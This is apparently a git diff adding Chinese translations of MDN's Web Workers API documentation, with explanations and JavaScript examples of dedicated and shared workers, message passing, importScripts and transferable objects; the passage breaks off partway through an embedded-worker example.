WebGL with {{domxref("OffscreenCanvas")}}WebGL (Web Graphics Library) is a JavaScript API for rendering interactive 3D and 2D graphics within any compatible web browser without the use of plug-ins.{{CompatGeckoDesktop(44)}} behind a feature preference setting. In about:config, set gfx.offscreencanvas.enabled to true.{{CompatNo}}{{CompatNo}}{{CompatNo}}
{{domxref("WebSocket")}}Creates and returns a new {{domxref("WebSocket")}}  object; this mimics the behavior of the standard WebSocket() constructor.{{CompatGeckoDesktop(37)}}11.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
{{domxref("Worker")}}Creates a new {{ domxref("Worker") }}. Yes, workers can spawn more workers.{{CompatGeckoDesktop("1.9.1")}}10.0{{CompatNo}} See crbug.com/31666{{CompatNo}}
{{domxref("WorkerGlobalScope")}}The global scope of workers. This objects defines worker-specific functions.{{CompatVersionUnknown}}10.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
{{domxref("WorkerLocation")}}The subset of the {{domxref("Location")}} interface available to workers.{{CompatGeckoDesktop(1.9.2)}}10.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
{{domxref("WorkerNavigator")}}The subset of the {{domxref("Navigator")}} interface available to workers.Basic implementation {{CompatVersionUnknown}}
+ {{domxref("NavigatorID.appCodeName", "appCodeName")}}, {{domxref("NavigatorID.product", "product")}}, {{domxref("NavigatorID.taintEnabled", "taintEnabled()")}}: {{CompatGeckoDesktop(28)}}
+ {{domxref("WorkerNavigator.onLine", "onLine")}}: {{CompatGeckoDesktop(29)}}
+ {{domxref("NavigatorLanguage")}}: {{CompatVersionUnknown}}
{{domxref("NavigatorID.appName", "appName")}}, {{domxref("NavigatorID.appVersion", "appVersion")}}, {{domxref("WorkerNavigator.onLine", "onLine")}}, {{domxref("NavigatorID.platform", "platform")}}, {{domxref("NavigatorID.userAgent", "userAgent")}}: 10.0
+ Other: {{CompatNo}}
{{CompatVersionUnknown}}{{CompatVersionUnknown}}
{{domxref("XMLHttpRequest")}}Creates and returns a new {{domxref("XMLHttpRequest")}}  object; this mimics the behavior of the standard XMLHttpRequest() constructor. Note that the responseXML and channel attributes on XMLHttpRequest always return null. +

Basic: {{CompatGeckoDesktop("1.9.1")}}

+ +

{{domxref("XMLHttpRequest.response", "response")}} and {{domxref("XMLHttpRequest.responseType", "responseType")}} are available since {{CompatGeckoDesktop("10")}}

+ +

{{domxref("XMLHttpRequest.timeout", "timeout")}} and {{domxref("XMLHttpRequest.ontimeout", "ontimeout")}} are available since {{CompatGeckoDesktop("13")}}

+
{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+ +

See also

+ + diff --git a/files/zh-cn/web/api/web_workers_api/index.html b/files/zh-cn/web/api/web_workers_api/index.html new file mode 100644 index 0000000000..d9ee40bbaa --- /dev/null +++ b/files/zh-cn/web/api/web_workers_api/index.html @@ -0,0 +1,102 @@ +--- +title: Web Workers API +slug: Web/API/Web_Workers_API +tags: + - API + - DOM + - Service Workers + - Shared Workers + - Web Workers + - Workers +translation_of: Web/API/Web_Workers_API +--- +

{{DefaultAPISidebar("Web Workers API")}}

+ +

通过使用Web Workers,Web应用程序可以在独立于主线程的后台线程中,运行一个脚本操作。这样做的好处是可以在独立线程中执行费时的处理任务,从而允许主线程(通常是UI线程)不会因此被阻塞/放慢。

+ +

Web Workers 概念与用法

+ +

使用构造函数(例如,{{domxref("Worker.Worker", "Worker()")}})创建一个 worker 对象, 构造函数接受一个 JavaScript文件URL — 这个文件包含了将在 worker 线程中运行的代码。worker 将运行在与当前 {{domxref("window")}}不同的另一个全局上下文中,这个上下文由一个对象表示,标准情况下为{{domxref("DedicatedWorkerGlobalScope")}} (标准 workers 由单个脚本使用; 共享workers使用{{domxref("SharedWorkerGlobalScope")}})。

+ +

你可以在worker 线程中运行任意的代码,但注意存在一些例外:直接在 worker 线程中操纵 DOM 元素;或使用{{domxref("window")}} 对象中的某些方法和属性。大部分 window 对象的方法和属性是可以使用的,包括 WebSockets,以及诸如 IndexedDB 和 FireFox OS 中独有的 Data Store API 这一类数据存储机制。更多信息请参见: Functions and classes available to workers 。

+ +

主线程和 worker 线程相互之间使用 postMessage() 方法来发送信息, 并且通过 onmessage 这个 event handler来接收信息(传递的信息包含在 {{event("Message")}} 这个事件的data属性内) 。数据的交互方式为传递副本,而不是直接共享数据。

+ +

worker 可以另外生成新的 worker,这些 worker 与它们父页面的宿主相同。 此外,worker 可以通过 XMLHttpRequest 来访问网络,只不过 XMLHttpRequest 的 responseXML 和 channel 这两个属性的值将总是 null 。

+ +

除了专用 worker 之外,还有一些其他种类的 worker :

+ + + +
+

注意: 根据网络worker规范, worker错误事件不应该冒泡(参见{{bug(1188141)}})。该规范已在Firefox 42中实现。

+
+ +

Web Worker 接口

+ +
+
{{domxref("AbstractWorker")}}
+
抽象属性和方法是所有类型的worker中常用的(例如{{domxref("Worker")}}或 {{domxref("SharedWorker")}})
+
{{domxref("Worker")}}
+
表示正在运行的worker线程,允许你将信息传递到正在运行的worker程序代码。
+
{{domxref("SharedWorker")}}
+
表示一种可以同时被多个浏览器环境访问的特殊类型的worker。这些浏览器环境可以是多个window, iframes 或者甚至是多个worker.
+
{{domxref("WorkerGlobalScope")}}
+
表示任意worker的通用作用域(对于正常的网页类容来说与{{domxref("Window")}} 有相同的作用)。不同类型的worker都有从接口继承作用于对象,并且可以添加更多特定功能。
+
{{domxref("DedicatedWorkerGlobalScope")}}
+
表示一个专用worker的作用域, 继承自{{domxref("WorkerGlobalScope")}},且可添加一些特有的功能。
+
{{domxref("SharedWorkerGlobalScope")}}
+
表示一个共享worker的作用域, 继承自{{domxref("WorkerGlobalScope")}}, 且可添加一些特有的功能。
+
{{domxref("WorkerNavigator")}}
+
表示用户代理(客户端)的身份和状态。
+
+ +

示例

+ +

我们创建了几个简单的demos以演示基本用法:

+ + + +

你可以在使用web workers中找到有关这些demos是如何工作的更多信息。

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态评论
{{SpecName('HTML WHATWG', '#toc-workers')}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("Web Workers")}}.
{{SpecName('Web Workers')}}{{Spec2('Web Workers')}}Initial definition.
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/web_workers_api/using_web_workers/index.html b/files/zh-cn/web/api/web_workers_api/using_web_workers/index.html new file mode 100644 index 0000000000..107266e073 --- /dev/null +++ b/files/zh-cn/web/api/web_workers_api/using_web_workers/index.html @@ -0,0 +1,794 @@ +--- +title: 使用 Web Workers +slug: Web/API/Web_Workers_API/Using_web_workers +tags: + - Advanced + - Firefox + - Guide + - HTML5 + - JavaScript + - Web Workers + - Workers +translation_of: Web/API/Web_Workers_API/Using_web_workers +--- +
{{DefaultAPISidebar("Web Workers API")}}
+ +

Web Worker为Web内容在后台线程中运行脚本提供了一种简单的方法。线程可以执行任务而不干扰用户界面。此外,他们可以使用XMLHttpRequest执行 I/O  (尽管responseXMLchannel属性总是为空)。一旦创建, 一个worker 可以将消息发送到创建它的JavaScript代码, 通过将消息发布到该代码指定的事件处理程序(反之亦然)。本文提供了有关使用Web Worker的详细介绍。

+ +

Web Workers API

+ +

一个worker是使用一个构造函数创建的一个对象(e.g. {{domxref("Worker.Worker", "Worker()")}}) 运行一个命名的JavaScript文件 - 这个文件包含将在工作线程中运行的代码; workers 运行在另一个全局上下文中,不同于当前的{{domxref("window")}}. 因此,在 {{domxref("Worker")}} 内通过 {{domxref("window")}}获取全局作用域 (而不是{{domxref("window.self","self")}}) 将返回错误。

+ +

在专用workers的情况下,{{domxref("DedicatedWorkerGlobalScope")}} 对象代表了worker的上下文(专用workers是指标准worker仅在单一脚本中被使用;共享worker的上下文是{{domxref("SharedWorkerGlobalScope")}}对象)。一个专用worker仅仅能被首次生成它的脚本使用,而共享worker可以同时被多个脚本使用。

+ +
注意:参照 The Web Workers API landing page 获取workers的参考文档和更多指引。
+ +

在worker线程中你可以运行任何你喜欢的代码,不过有一些例外情况。比如:在worker内,不能直接操作DOM节点,也不能使用{{domxref("window")}}对象的默认方法和属性。然而你可以使用大量window对象之下的东西,包括WebSockets,IndexedDB以及FireFox OS专用的Data Store API等数据存储机制。查看Functions and classes available to workers获取详情。

+ +

workers和主线程间的数据传递通过这样的消息机制进行——双方都使用postMessage()方法发送各自的消息,使用onmessage事件处理函数来响应消息(消息被包含在{{event("Message")}}事件的data属性中)。这个过程中数据并不是被共享而是被复制。

+ +

只要运行在同源的父页面中,workers可以依次生成新的workers;并且可以使用XMLHttpRequest 进行网络I/O,但是XMLHttpRequest的responseXML和channel属性总会返回null。

+ +

专用worker

+ +

如前文所述,一个专用worker仅仅能被生成它的脚本所使用。这一部分将探讨 专用worker基础示例 (运行专用worker) 中的JavaScript代码:将你输入的2个数字作乘法。输入的数字会发送给一个专用worker,由专用worker作乘法后,再返回给页面进行展示。

+ +

这个例子很小,但是我们决定在保持简单的同时向你介绍基础的worker概念。更多的细节会在之后的文章中进行讲解。

+ +

worker特性检测

+ +

为了更好的错误处理控制以及向下兼容,将你的worker运行代码包裹在以下代码中是一个很好的想法(main.js):

+ +
if (window.Worker) {
+
+  ...
+
+}
+ +

生成一个专用worker

+ +

创建一个新的worker很简单。你需要做的是调用{{domxref("Worker.Worker", "Worker()")}} 的构造器,指定一个脚本的URI来执行worker线程(main.js):

+ +
var myWorker = new Worker('worker.js');
+ +

专用worker中消息的接收和发送

+ +

你可以通过{{domxref("Worker.postMessage", "postMessage()")}} 方法和{{domxref("Worker.onmessage", "onmessage")}}事件处理函数触发workers的方法。当你想要向一个worker发送消息时,你只需要这样做(main.js):

+ +
first.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}
+
+second.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}
+ +

这段代码中变量first和second代表2个{{htmlelement("input")}}元素;它们当中任意一个的值发生改变时,myWorker.postMessage([first.value,second.value])会将这2个值组成数组发送给worker。你可以在消息中发送许多你想发送的东西。

+ +

在worker中接收到消息后,我们可以写这样一个事件处理函数代码作为响应(worker.js):

+ +
onmessage = function(e) {
+  console.log('Message received from main script');
+  var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
+  console.log('Posting message back to main script');
+  postMessage(workerResult);
+}
+ +

onmessage处理函数允许我们在任何时刻,一旦接收到消息就可以执行一些代码,代码中消息本身作为事件的data属性进行使用。这里我们简单的对这2个数字作乘法处理并再次使用postMessage()方法,将结果回传给主线程。

+ +

回到主线程,我们再次使用onmessage以响应worker回传的消息:

+ +
myWorker.onmessage = function(e) {
+  result.textContent = e.data;
+  console.log('Message received from worker');
+}
+ +

在这里我们获取消息事件的data,并且将它设置为result的textContent,所以用户可以直接看到运算的结果。

+ +
+

注意: 在主线程中使用时,onmessagepostMessage() 必须挂在worker对象上,而在worker中使用时不用这样做。原因是,在worker内部,worker是有效的全局作用域。

+
+ +
+

注意: 当一个消息在主线程和worker之间传递时,它被复制或者转移了,而不是共享。请参阅{{anch("Transferring data to and from workers further details", "Transferring data to and from workers: further details")}} 获取更详尽的解释。

+
+ +

终止worker

+ +

如果你需要从主线程中立刻终止一个运行中的worker,可以调用worker的{{domxref("Worker", "terminate")}} 方法:

+ +
myWorker.terminate();
+ +

worker 线程会被立即杀死,不会有任何机会让它完成自己的操作或清理工作。

+ +

而在worker线程中,workers 也可以调用自己的 {{domxref("WorkerGlobalScope", "close")}}  方法进行关闭:

+ +
close();
+ +

处理错误

+ +

当 worker 出现运行中错误时,它的 onerror 事件处理函数会被调用。它会收到一个扩展了 ErrorEvent 接口的名为 error的事件。

+ +

该事件不会冒泡并且可以被取消;为了防止触发默认动作,worker 可以调用错误事件的 preventDefault()方法。

+ +

错误事件有以下三个用户关心的字段:

+ +
+
message
+
可读性良好的错误消息。
+
filename
+
发生错误的脚本文件名。
+
lineno
+
发生错误时所在脚本文件的行号。
+
+ +

生成subworker

+ +

如果需要的话 worker 能够生成更多的 worker。这就是所谓的subworker,它们必须托管在同源的父页面内。而且,subworker 解析 URI 时会相对于父 worker 的地址而不是自身页面的地址。这使得 worker 更容易记录它们之间的依赖关系。

+ +

引入脚本与库

+ +

Worker 线程能够访问一个全局函数importScripts()来引入脚本,该函数接受0个或者多个URI作为参数来引入资源;以下例子都是合法的:

+ +
importScripts();                        /* 什么都不引入 */
+importScripts('foo.js');                /* 只引入 "foo.js" */
+importScripts('foo.js', 'bar.js');      /* 引入两个脚本 */
+
+ +

浏览器加载并运行每一个列出的脚本。每个脚本中的全局对象都能够被 worker 使用。如果脚本无法加载,将抛出 NETWORK_ERROR 异常,接下来的代码也无法执行。而之前执行的代码(包括使用 {{ domxref("window.setTimeout()") }} 异步执行的代码)依然能够运行。importScripts() 之后的函数声明依然会被保留,因为它们始终会在其他代码之前运行。

+ +
注意: 脚本的下载顺序不固定,但执行时会按照传入 importScripts() 中的文件名顺序进行。这个过程是同步完成的;直到所有脚本都下载并运行完毕,importScripts() 才会返回。
+ +

共享worker

+ +

一个共享worker可以被多个脚本使用——即使这些脚本正在被不同的window、iframe或者worker访问。这一部分,我们会讨论共享worker基础示例运行共享worker)中的javascript代码:该示例与专用worker基础示例非常相像,只是有2个可用函数被存放在不同脚本文件中:两数相乘函数,以及求平方函数。这两个脚本用同一个worker来完成实际需要的运算。

+ +

这里,我们关注一下专用worker和共享worker之间的区别。在这个示例中有2个HTML页面,每个页面所包含的javascript代码使用的是同一个worker。

+ +
+

注意:如果共享worker可以被多个浏览上下文调用,所有这些浏览上下文必须属于同源(相同的协议,主机和端口号)。 

+
+ +
+

注意:在 Firefox中, 共享worker不能被私有和非私有window对象的document所共享 ({{bug(1177621)}})。

+
+ +

生成一个共享worker

+ +

生成一个新的共享worker与生成一个专用worker非常相似,只是构造器的名字不同(查看 index.html 和 index2.html)——生成共享worker的代码如下:

+ +
var myWorker = new SharedWorker('worker.js');
+ +

一个非常大的区别在于,与一个共享worker通信必须通过端口对象——一个确切的打开的端口供脚本与worker通信(在专用worker中这一部分是隐式进行的)。

+ +

在传递消息之前,端口连接必须被显式的打开,打开方式是使用onmessage事件处理函数或者start()方法。示例中的 multiply.js 和 worker.js 文件没有调用了start()方法,这些调用并不那么重要是因为onmessage事件处理函数正在被使用。start()方法的调用只在一种情况下需要,那就是消息事件被addEventListener()方法使用。

+ +

在使用start()方法打开端口连接时,如果父级线程和worker线程需要双向通信,那么它们都需要调用start()方法。

+ +
myWorker.port.start();  // 父级线程中的调用
+ +
port.start(); // worker线程中的调用, 假设port变量代表一个端口
+ +

共享worker中消息的接收和发送

+ +

现在,消息可以像之前那样发送到worker了,但是postMessage() 方法必须被端口对象调用(你会再一次看到 multiply.js 和 square.js中相似的结构):

+ +
squareNumber.onchange = function() {
+  myWorker.port.postMessage([squareNumber.value,squareNumber.value]);
+  console.log('Message posted to worker');
+}
+ +

回到worker中,这里也有一些些复杂(worker.js):

+ +
onconnect = function(e) {
+  var port = e.ports[0];
+
+  port.onmessage = function(e) {
+    var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
+    port.postMessage(workerResult);
+  }
+}
+ +

首先,当一个端口连接被创建时(例如:在父级线程中,设置onmessage事件处理函数,或者显式调用start()方法时),使用onconnect事件处理函数来执行代码。

+ +

使用事件的ports属性来获取端口并存储在变量中。

+ +

然后,为端口添加一个消息处理函数用来做运算并回传结果给主线程。在worker线程中设置此消息处理函数也会隐式的打开与主线程的端口连接,因此这里跟前文一样,对port.start()的调用也是不必要的。

+ +

最后,回到主脚本,我们处理消息(你会又一次看到 multiply.js 和 square.js中相似的结构):

+ +
myWorker.port.onmessage = function(e) {
+  result2.textContent = e.data;
+  console.log('Message received from worker');
+}
+ +

当一条消息通过端口回到worker,我们检查结果的类型,然后将运算结果放入结果段落中合适的地方。

+ +

关于线程安全

+ +

{{domxref("Worker")}}接口会生成真正的操作系统级别的线程,如果你不太小心,那么并发会对你的代码产生有趣的影响。然而,对于 web worker 来说,与其他线程的通信点会被很小心的控制,这意味着你很难引起并发问题。你没有办法去访问非线程安全的组件或者是 DOM,此外你还需要通过序列化对象来与线程交互特定的数据。所以你要是不费点劲儿,还真搞不出错误来。

+ +

内容安全策略

+ +

有别于创建它的document对象,worker有它自己的执行上下文。因此普遍来说,worker并不受限于创建它的document(或者父级worker)的内容安全策略。我们来举个例子,假设一个document有如下头部声明:

+ +
Content-Security-Policy: script-src 'self'
+ +

这个声明有一部分作用在于,禁止它内部包含的脚本代码使用eval()方法。然而,如果脚本代码创建了一个worker,在worker上下文中执行的代码却是可以使用eval()的。

+ +

为了给worker指定内容安全策略,必须为发送worker代码的请求本身加上一个 内容安全策略

+ +

有一个例外情况,即worker脚本的源如果是一个全局性的唯一的标识符(例如,它的URL指定了数据模式或者blob),worker则会继承创建它的document或者worker的CSP(Content security policy内容安全策略)。

+ +

worker中数据的接收与发送:详细介绍

+ +

在主页面与 worker 之间传递的数据是通过拷贝,而不是共享来完成的。传递给 worker 的对象需要经过序列化,接下来在另一端还需要反序列化。页面与 worker 不会共享同一个实例,最终的结果就是在每次通信结束时生成了数据的一个副本。大部分浏览器使用结构化拷贝来实现该特性。

+ +

在往下进行之前,出于教学的目的,让我们创建一个名为 emulateMessage() 的函数,它将模拟在从 worker 到主页面(反之亦然)的通信过程中,变量的「拷贝而非共享」行为:

+ +
function emulateMessage (vVal) {
+    return eval("(" + JSON.stringify(vVal) + ")");
+}
+
+// Tests
+
+// test #1
+var example1 = new Number(3);
+alert(typeof example1); // object
+alert(typeof emulateMessage(example1)); // number
+
+// test #2
+var example2 = true;
+alert(typeof example2); // boolean
+alert(typeof emulateMessage(example2)); // boolean
+
+// test #3
+var example3 = new String("Hello World");
+alert(typeof example3); // object
+alert(typeof emulateMessage(example3)); // string
+
+// test #4
+var example4 = {
+    "name": "John Smith",
+    "age": 43
+};
+alert(typeof example4); // object
+alert(typeof emulateMessage(example4)); // object
+
+// test #5
+function Animal (sType, nAge) {
+    this.type = sType;
+    this.age = nAge;
+}
+var example5 = new Animal("Cat", 3);
+alert(example5.constructor); // Animal
+alert(emulateMessage(example5).constructor); // Object
+ +

拷贝而并非共享的那个值称为 消息。再来谈谈 worker,你可以使用 postMessage() 将消息传递给主线程或从主线程传送回来。message 事件的 data 属性就包含了从 worker 传回来的数据。

+ +

example.html: (主页面):

+ +
var myWorker = new Worker("my_task.js");
+
+myWorker.onmessage = function (oEvent) {
+  console.log("Worker said : " + oEvent.data);
+};
+
+myWorker.postMessage("ali");
+ +

my_task.js (worker):

+ +
postMessage("I\'m working before postMessage(\'ali\').");
+
+onmessage = function (oEvent) {
+  postMessage("Hi " + oEvent.data);
+};
+
+ +

结构化拷贝算法可以接收JSON数据以及一些JSON不能表示的数据——比如循环引用。

+ +

传递数据的例子

+ +

例子 #1: 创建一个通用的 「异步 eval()

+ +

下面这个例子介绍了,如何在 worker 内使用  eval() 来按顺序执行异步的任何种类的 JavaScript 代码:

+ +
// Syntax: asyncEval(code[, listener])
+
+var asyncEval = (function () {
+
+  var aListeners = [], oParser = new Worker("data:text/javascript;charset=US-ASCII,onmessage%20%3D%20function%20%28oEvent%29%20%7B%0A%09postMessage%28%7B%0A%09%09%22id%22%3A%20oEvent.data.id%2C%0A%09%09%22evaluated%22%3A%20eval%28oEvent.data.code%29%0A%09%7D%29%3B%0A%7D");
+
+  oParser.onmessage = function (oEvent) {
+    if (aListeners[oEvent.data.id]) { aListeners[oEvent.data.id](oEvent.data.evaluated); }
+    delete aListeners[oEvent.data.id];
+  };
+
+
+  return function (sCode, fListener) {
+    aListeners.push(fListener || null);
+    oParser.postMessage({
+      "id": aListeners.length - 1,
+      "code": sCode
+    });
+  };
+
+})();
+ +

data URL 相当于一个网络请求,它有如下返回:

+ +
onmessage = function(oEvent) {
+  postMessage({
+    'id': oEvent.data.id,
+    'evaluated': eval(oEvent.data.code)
+  });
+}
+ +

示例使用:

+ +
// asynchronous alert message...
+asyncEval("3 + 2", function (sMessage) {
+    alert("3 + 2 = " + sMessage);
+});
+
+// asynchronous print message...
+asyncEval("\"Hello World!!!\"", function (sHTML) {
+    document.body.appendChild(document.createTextNode(sHTML));
+});
+
+// asynchronous void...
+asyncEval("(function () {\n\tvar oReq = new XMLHttpRequest();\n\toReq.open(\"get\", \"http://www.mozilla.org/\", false);\n\toReq.send(null);\n\treturn oReq.responseText;\n})()");
+ +

例子 #2:传输 JSON 的高级方式和创建一个交换系统

+ +

如果你需要传输非常复杂的数据,还要同时在主页与 Worker 内调用多个方法,那么可以考虑创建一个类似下面的系统。

+ +

首先,我们创建一个QueryableWorker的类,它接收worker的url、一个默认侦听函数、和一个错误处理函数作为参数,这个类将会记录所有的侦听的列表并且帮助我们与worker进行通信。

+ +
function QueryableWorker(url, defaultListener, onError) {
+    var instance = this,
+        worker = new Worker(url),
+        listeners = {};
+
+    this.defaultListener = defaultListener || function() {};
+
+    if (onError) {worker.onerror = onError;}
+
+    this.postMessage = function(message) {
+        worker.postMessage(message);
+    }
+
+    this.terminate = function() {
+        worker.terminate();
+    }
+}
+ +

紧接着,我们写出新增和删除侦听的方法。

+ +
this.addListeners = function(name, listener) {
+    listeners[name] = listener;
+}
+
+this.removeListeners = function(name) {
+    delete listeners[name];
+}
+ +

这里我们让worker处理2个这样的简单操作:区别2个数字并在3秒后弹框提示。为了完成这个操作,我们首先实现一个sendQuery方法,该方法可以查询worker是否真正有我们所需要的对应方法。

+ +
/*
+  This functions takes at least one argument, the method name we want to query.
+  Then we can pass in the arguments that the method needs.
+ */
+this.sendQuery = function() {
+    if (arguments.length < 1) {
+         throw new TypeError('QueryableWorker.sendQuery takes at least one argument');
+         return;
+    }
+    worker.postMessage({
+        'queryMethod': arguments[0],
+        'queryArguments': Array.prototype.slice.call(arguments, 1)
+    });
+}
+ +

我们以onmessage方法作为QueryableWorker的结尾。如果worker有我们所需要的对应的方法,它就会返回相对应的侦听方法的名字以及所需要的参数,我们只需要在侦听列表listeners中找到它:

+ +
worker.onmessage = function(event) {
+    if (event.data instanceof Object &&
+        event.data.hasOwnProperty('queryMethodListener') &&
+        event.data.hasOwnProperty('queryMethodArguments')) {
+        listeners[event.data.queryMethodListener].apply(instance, event.data.queryMethodArguments);
+    } else {
+        this.defaultListener.call(instance, event.data);
+    }
+}
+ +

现在回到worker中。首先我们需要一个能够完成这2个操作的方法:

+ +
var queryableFunctions = {
+    getDifference: function(a, b) {
+        reply('printStuff', a - b);
+    },
+    waitSomeTime: function() {
+        setTimeout(function() {
+            reply('doAlert', 3, 'seconds');
+        }, 3000);
+    }
+}
+
+function reply() {
+    if (arguments.length < 1) {
+        throw new TypeError('reply - takes at least one argument');
+        return;
+    }
+    postMessage({
+        queryMethodListener: arguments[0],
+        queryMethodArguments: Array.prototype.slice.call(arguments, 1)
+    });
+}
+
+/* This method is called when main page calls QueryWorker's postMessage method directly*/
+function defaultReply(message) {
+    // do something
+}
+ +

onmessage方法也就很简单了:

+ +
onmessage = function(event) {
+    if (event.data instanceof Object &&
+        event.data.hasOwnProperty('queryMethod') &&
+        event.data.hasOwnProperty('queryMethodArguments')) {
+        queryableFunctions[event.data.queryMethod]
+            .apply(self, event.data.queryMethodArguments);
+    } else {
+        defaultReply(event.data);
+    }
+}
+ +

接下来给出一个完整的实现:

+ +

example.html (the main page):

+ +
<!doctype html>
+<html>
+<head>
+<meta charset="UTF-8"  />
+<title>MDN Example - Queryable worker</title>
+<script type="text/javascript">
+  /*
+    QueryableWorker instances methods:
+     * sendQuery(queryable function name, argument to pass 1, argument to pass 2, etc. etc): calls a Worker's queryable function
+     * postMessage(string or JSON Data): see Worker.prototype.postMessage()
+     * terminate(): terminates the Worker
+     * addListener(name, function): adds a listener
+     * removeListener(name): removes a listener
+    QueryableWorker instances properties:
+     * defaultListener: the default listener executed only when the Worker calls the postMessage() function directly
+  */
+  function QueryableWorker (sURL, fDefListener, fOnError) {
+    var oInstance = this, oWorker = new Worker(sURL), oListeners = {};
+    this.defaultListener = fDefListener || function () {};
+    oWorker.onmessage = function (oEvent) {
+      if (oEvent.data instanceof Object && oEvent.data.hasOwnProperty("vo42t30") && oEvent.data.hasOwnProperty("rnb93qh")) {
+        oListeners[oEvent.data.vo42t30].apply(oInstance, oEvent.data.rnb93qh);
+      } else {
+        this.defaultListener.call(oInstance, oEvent.data);
+      }
+    };
+    if (fOnError) { oWorker.onerror = fOnError; }
+    this.sendQuery = function (/* queryable function name, argument to pass 1, argument to pass 2, etc. etc */) {
+      if (arguments.length < 1) { throw new TypeError("QueryableWorker.sendQuery - not enough arguments"); return; }
+      oWorker.postMessage({ "bk4e1h0": arguments[0], "ktp3fm1": Array.prototype.slice.call(arguments, 1) });
+    };
+    this.postMessage = function (vMsg) {
+      //I just think there is no need to use call() method
+      //how about just oWorker.postMessage(vMsg);
+      //the same situation with terminate
+      //well,just a little faster,no search up the prototye chain
+      Worker.prototype.postMessage.call(oWorker, vMsg);
+    };
+    this.terminate = function () {
+      Worker.prototype.terminate.call(oWorker);
+    };
+    this.addListener = function (sName, fListener) {
+      oListeners[sName] = fListener;
+    };
+    this.removeListener = function (sName) {
+      delete oListeners[sName];
+    };
+  };
+
+  // your custom "queryable" worker
+  var oMyTask = new QueryableWorker("my_task.js" /* , yourDefaultMessageListenerHere [optional], yourErrorListenerHere [optional] */);
+
+  // your custom "listeners"
+
+  oMyTask.addListener("printSomething", function (nResult) {
+    document.getElementById("firstLink").parentNode.appendChild(document.createTextNode(" The difference is " + nResult + "!"));
+  });
+
+  oMyTask.addListener("alertSomething", function (nDeltaT, sUnit) {
+    alert("Worker waited for " + nDeltaT + " " + sUnit + " :-)");
+  });
+</script>
+</head>
+<body>
+  <ul>
+    <li><a id="firstLink" href="javascript:oMyTask.sendQuery('getDifference', 5, 3);">What is the difference between 5 and 3?</a></li>
+    <li><a href="javascript:oMyTask.sendQuery('waitSomething');">Wait 3 seconds</a></li>
+    <li><a href="javascript:oMyTask.terminate();">terminate() the Worker</a></li>
+  </ul>
+</body>
+</html>
+ +

my_task.js (the worker):

+ +
// your custom PRIVATE functions
+
+function myPrivateFunc1 () {
+  // do something
+}
+
+function myPrivateFunc2 () {
+  // do something
+}
+
+// etc. etc.
+
+// your custom PUBLIC functions (i.e. queryable from the main page)
+
+var queryableFunctions = {
+  // example #1: get the difference between two numbers:
+  getDifference: function (nMinuend, nSubtrahend) {
+      reply("printSomething", nMinuend - nSubtrahend);
+  },
+  // example #2: wait three seconds
+  waitSomething: function () {
+      setTimeout(function() { reply("alertSomething", 3, "seconds"); }, 3000);
+  }
+};
+
+// system functions
+
+function defaultQuery (vMsg) {
+  // your default PUBLIC function executed only when main page calls the queryableWorker.postMessage() method directly
+  // do something
+}
+
+function reply (/* listener name, argument to pass 1, argument to pass 2, etc. etc */) {
+  if (arguments.length < 1) { throw new TypeError("reply - not enough arguments"); return; }
+  postMessage({ "vo42t30": arguments[0], "rnb93qh": Array.prototype.slice.call(arguments, 1) });
+}
+
+onmessage = function (oEvent) {
+  if (oEvent.data instanceof Object && oEvent.data.hasOwnProperty("bk4e1h0") && oEvent.data.hasOwnProperty("ktp3fm1")) {
+    queryableFunctions[oEvent.data.bk4e1h0].apply(self, oEvent.data.ktp3fm1);
+  } else {
+    defaultQuery(oEvent.data);
+  }
+};
+ +

这个实例中,可以对从主页面到worker、以及worker到主页面之间传递的消息内容进行切换。而且属性名"queryMethod", "queryMethodListeners","queryMethodArguments"可以是任何东西,只要它们在QueryableWorker和worker中保持一致。

+ +

通过转让所有权(可转让对象)来传递数据

+ +

Google Chrome 17 与 Firefox 18 包含另一种性能更高的方法来将特定类型的对象(可转让对象) 传递给一个 worker/从 worker 传回 。可转让对象从一个上下文转移到另一个上下文而不会经过任何拷贝操作。这意味着当传递大数据时会获得极大的性能提升。如果你从 C/C++ 世界来,那么把它想象成按照引用传递。然而与按照引用传递不同的是,一旦对象转让,那么它在原来上下文的那个版本将不复存在。该对象的所有权被转让到新的上下文内。例如,当你将一个 ArrayBuffer 对象从主应用转让到 Worker 中,原始的 ArrayBuffer 被清除并且无法使用。它包含的内容会(完整无差的)传递给 Worker 上下文。

+ +
// Create a 32MB "file" and fill it.
+var uInt8Array = new Uint8Array(1024*1024*32); // 32MB
+for (var i = 0; i < uInt8Array .length; ++i) {
+  uInt8Array[i] = i;
+}
+
+worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]);
+
+ +
+

注意:获取更多该方法相关的可转让对象、性能及特性检测等方法,请参阅HTML5 Rocks中的Transferable Objects: Lightning Fast! 。

+
+ +

嵌入式 worker

+ +

目前没有一种「官方」的方法能够像 {{ HTMLElement("script") }} 元素一样将 worker 的代码嵌入的网页中。但是如果一个 {{ HTMLElement("script") }} 元素没有 src 特性,并且它的 type 特性没有指定成一个可运行的 mime-type,那么它就会被认为是一个数据块元素,并且能够被 JavaScript 使用。「数据块」是 HTML5 中一个十分常见的特性,它可以携带几乎任何文本类型的数据。所以,你能够以如下方式嵌入一个 worker:

+ +
<!DOCTYPE html>
+<html>
+<head>
+<meta charset="UTF-8" />
+<title>MDN Example - Embedded worker</title>
+<script type="text/js-worker">
+  // 该脚本不会被 JS 引擎解析,因为它的 mime-type 是 text/js-worker。
+  var myVar = "Hello World!";
+  // 剩下的 worker 代码写到这里。
+</script>
+<script type="text/javascript">
+  // 该脚本会被 JS 引擎解析,因为它的 mime-type 是 text/javascript。
+  function pageLog (sMsg) {
+    // 使用 fragment:这样浏览器只会进行一次渲染/重排。
+    var oFragm = document.createDocumentFragment();
+    oFragm.appendChild(document.createTextNode(sMsg));
+    oFragm.appendChild(document.createElement("br"));
+    document.querySelector("#logDisplay").appendChild(oFragm);
+  }
+</script>
+<script type="text/js-worker">
